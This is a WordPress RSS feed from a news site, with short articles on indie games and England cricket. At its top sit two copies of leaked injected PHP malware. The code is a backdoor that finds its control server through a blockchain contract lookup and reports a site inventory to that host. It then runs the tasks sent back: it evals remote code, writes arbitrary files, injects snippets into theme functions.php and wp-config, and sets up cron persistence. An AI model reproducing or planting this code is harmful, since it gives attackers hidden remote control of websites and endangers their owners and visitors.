// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Indies – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 21 Mar 2018 05:11:47 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Indies – Brief News https://briefnews.eu 32 32 International Mobile Gaming Awards celebrates indies and considers the future of the industry https://briefnews.eu/international-mobile-gaming-awards-celebrates-indies-and-considers-the-future-of-the-industry/ https://briefnews.eu/international-mobile-gaming-awards-celebrates-indies-and-considers-the-future-of-the-industry/#respond Wed, 21 Mar 2018 05:11:47 +0000 http://briefnews.eu/international-mobile-gaming-awards-celebrates-indies-and-considers-the-future-of-the-industry/

Indie games took home most of the prizes in tonight’s 14th annual International Mobile Gaming Awards (IMGA) ceremony. Titles like Tender Claws’ meta adventure Virtual Virtual Reality won alongside Timi Studio Group’s blockbuster multiplayer hit Arena of Valor, which Tencent publishes. The IMGA jury did not award a Grand Prix prize…Read More

]]> https://briefnews.eu/international-mobile-gaming-awards-celebrates-indies-and-considers-the-future-of-the-industry/feed/ 0 Social media can be an indie’s best friend https://briefnews.eu/social-media-can-be-an-indies-best-friend/ https://briefnews.eu/social-media-can-be-an-indies-best-friend/#respond Tue, 10 Oct 2017 11:47:38 +0000 http://briefnews.eu/social-media-can-be-an-indies-best-friend/

SPONSORED:

Presented by Intel

When Riv Hester started sharing snapshots of an early prototype on Twitter, he didn’t think much of it. But as the number of retweets reached the hundreds (and sometimes thousands), he realized that this was the most publicity any of his games had ever received. He had to make a decision.

“So I was like, ‘Crap, guess I’m working on this now,’” said the solo developer.

Hester put aside his other projects in favor of finishing the “drill game,” which he later christened Pepper Grinder. In the 2D platformer, Pepper is a blue-haired treasure hunter who loses her precious pile of loot after her boat crashes on a mysterious island. Armed with her trusty drill, she sets out to find her barbaric thieves (mutated narwhals who live on the island) and take back her treasure chests.

Pepper Grinder will be the first retail release for Hester, who, outside of working on his own games and participating at game jams, doesn’t have formal development experience. He studied fine art and animation in college, and didn’t see game-making as a viable career until he was about to graduate. In recent years, companies like Epic Games and Unity have made their game engines free, so it’s easier than ever for anyone to dip their toes in development.

Even at this early stage (Hester doesn’t plan on releasing the game till 2018), Pepper Grinder is shaping up to be something special. Aside from its popularity on social media, it recently won the Best Use of Physics and Best Platformer awards from Intel’s annual Level Up Developer contest.

Above: Don’t you wish you had a drill that was half your size?

Building the perfect drill

The source of Pepper Grinder’s nascent success is the compelling digging mechanic. Whenever you turn the drill on, it launches you into the air, and you can carry that momentum with you when you drill into and out of the dirt. Exiting gives you a speed boost, so if you time your movements right, you barely have to touch the ground as you jump from one dirt tunnel to the next.

It’s almost hypnotic.

“I think when I first hit on the idea of Pepper Grinder, I was watching a speedrun of Ecco the Dolphin. I was just thinking about that kind of movement — diving in and out of the water,” said Hester. “And I was wondering how that could be expanded on or changed. I’m not really sure how I drew the connection in my head, but it wound up being Ecco plus Dig Dug in a platformer.”

Hester managed to nail down the basic feel and behavior of the drill within the first week of prototyping the game. But even though he’s mostly satisfied with it, he might continue to make small tweaks between now and Pepper Grinder’s release date.

The grappling hook — introduced early on in the game — was a bit more complicated. Hester experimented with it a lot before he found something that could complement the drilling. The result is just as thrilling: If you manage to hook onto a swingable surface shortly after leaving a tunnel, the speed boost will carry over into the swing and launch you up even higher than usual.

This leads to some intriguing platforming challenges, especially when you’re surrounded by deadly thorns.

“The gameplay is all defined by numbers, and you’re constantly going back and forth between tweaking those numbers and then adjusting things like how high platforms can be in your levels, playing through with them, seeing how it feels, and then going back through that process again,” said Hester.

“The math and the numbers and all that stuff — that’s what makes it tick. But what’s important is how they’re expressed in what the player is doing.”

Above: No pressure.

The Twitter effect

Originally, Hester began sharing his work on Twitter (@Ahr_Ech) looking for feedback from other developers, which is difficult to get when you mostly work by yourself. But he didn’t expect to see such a massive growth in the number of ‘likes’ and responses from both devs and fans. The experience made him realize that when you’re a one-man developer, you also have to be your loudest cheerleader.

“It’s kind of a weird crash course in marketing,” Hester said, laughing.

Over the past year, he noticed that GIFs tend to get more traction than YouTube links or screenshots (indie developers regularly promote their work using the #screenshotsaturday tag).

But he’ll only post glimpses of the game if it makes sense. Sometimes, he’ll spend days working on background processes that a player will never see, which doesn’t translate well in social media pictures.

“As long as I have something interesting to show, I try to keep the content consistent and just keep people engaged,” Hester said.

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]]> https://briefnews.eu/social-media-can-be-an-indies-best-friend/feed/ 0 Ben Stokes arrested: What happened? Why is he not playing v West Indies? Alex Hales latest https://briefnews.eu/ben-stokes-arrested-what-happened-why-is-he-not-playing-v-west-indies-alex-hales-latest/ https://briefnews.eu/ben-stokes-arrested-what-happened-why-is-he-not-playing-v-west-indies-alex-hales-latest/#respond Tue, 26 Sep 2017 12:34:23 +0000 http://briefnews.eu/ben-stokes-arrested-what-happened-why-is-he-not-playing-v-west-indies-alex-hales-latest/

Why isn’t Ben Stokes playing against West Indies?

England are 2-0 up with two ODIs to play after the second was rained out.

The Durham all-rounder is a key part of their one-day side and his selection would have been certain with the series on the line.

Especially, it must be added, given the ECB decided against giving Stokes a rest for this series. They opted to leave him out the squad for the one-off T20, held at his home ground, but were keen on him playing against the Windies.

But Stokes will now miss the fourth match after being arrested on Sunday night.

What do we know about Ben Stokes being arrested?

So far, details are thin on the ground, although the ECB did release a statement from Andrew Strauss this afternoon.

It read: “Ben Stokes and Alex Hales will not be available for tomorrow’s one-day international match against West Indies at The Oval.

“Stokes was arrested in the early hours of Monday morning, 25 September, following an incident in Bristol.

“He was held overnight and released under investigation – without charge – late on Monday and will not join the team in London.

“Hales, who was with Stokes on Sunday night, did not train this morning and has returned voluntarily to Bristol today to help police with their enquiries.

“You will understand that we cannot offer any further detail at this stage but will provide any updates when we can.”

What have the police said about the incident?

An Avon and Somerset police statement read: “We were called to a disorder in Queens Road, Clifton, at around 2.35am on Monday (25 September).

“A 27-year-old man was found to have suffered facial injuries and was taken to the Bristol Royal Infirmary for treatment.

“A 26-year-old man was arrested on suspicion of causing actual bodily harm and has since been released under investigation.

“We’d appeal for anyone who was in the Clifton Triangle area in the early hours of Monday who saw any part of this incident, to call Investigations on 101 and give the call handler the reference number 5217218578.”

What about Alex Hales?

Hales, as Strauss has confirmed, will also miss the fourth ODI.

Although he has NOT been arrested and is only helping police with their enquiries.

It means Jason Roy is likely to be recalled to the side to open on his home ground.

Ben Stokes, meanwhile, is likely to be replaced by Tom Curran.

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]]> https://briefnews.eu/ben-stokes-arrested-what-happened-why-is-he-not-playing-v-west-indies-alex-hales-latest/feed/ 0 England v West Indies: Moeen Ali reaches brilliant century https://briefnews.eu/england-v-west-indies-moeen-ali-reaches-brilliant-century/ https://briefnews.eu/england-v-west-indies-moeen-ali-reaches-brilliant-century/#respond Mon, 25 Sep 2017 00:45:19 +0000 http://briefnews.eu/england-v-west-indies-moeen-ali-reaches-brilliant-century/

When Gayle was passed fit for this third ODI after recovering from a hamstring strain, the sell-out Bristol crowd were anticipating batting fireworks from the West Indies’ self-styled ‘Universe Boss’.

On that note, they were not disappointed as Gayle smashed 15 boundaries before he was run out on 94.

But even Gayle at his big-hitting best could not upstage a truly phenomenal innings from Moeen that left West Indies chasing shadows at the end of England’s innings and then a mammoth target of 370 for a victory that always appeared unlikely.

And so it proved, the tourists dismissed for 245 with 65 balls remaining as they slumped to a 124-run defeat that gives England an unassailable 2-0 lead with two matches of this series to play.

Despite Gayle’s brutal counter-punching after England posted a record ODI total on this ground, West Indies were never likely to recover from the damage wrought by Moeen 53-ball century.

That in itself was the second fastest by any England player in 50-over cricket, only Jos Buttler’s 43-ball hundred against Pakistan in Dubai back in 2015 quicker.

However, the rapidity from which Moeen moved through the gears makes this innings one of the most remarkable in England’s one-day history.

In all, he hit eight sixes from just 14 balls as he brought up his second 50 in just 12 deliveries – a world record in ODI cricket.

Moeen was, though, aided by Gayle during that breathtaking passage of play, the West Indian dropping a simple chance at backward point when the Englishman was on 87.

As remarkable as this innings was, it really should not have come as a surprise. This was Moeen’s latest inspirational performance of a sensational summer that has already seen him seal a Test win at Lord’s with a hat-trick and, against the same opponents in South Africa, become only the second Englishman in history behind Ian Botham to take at least 25 wickets and score more than 250 runs in a single Test series.

What made Moeen’s display in this match even more impressive was the context within which it came.

England looked like wasting the platform laid by half-centuries from Joe Root and Ben Stokes when they lost three wickets in 18 balls to slip to 217-6 in the 35th over of their innings.

But Moeen’s alliance with Chris Woakes saw the seventh-wicket pair add 117 in 12.4 overs as England laid waste to the West Indian death bowling.

Miguel Cummins had produced a fine spell to get rid of both Root, whose 84 was his 12th half-century of a prolific international summer, and Stokes, who made 73 during a 132-run stand with England’s Test captain.

But it was Cummins who bore the brunt of Moeen’s brutality, hit for successive sixes as England’s man of the moment reached both his 50 and 100 with back-to-back maximums.

In all both teams produced 28 sixes between them, a record for an ODI in this country.

Ultimately, though, the eight from Moeen rather than Gayle’s six proved most telling, as England added 93 runs in the last six overs of their innings.

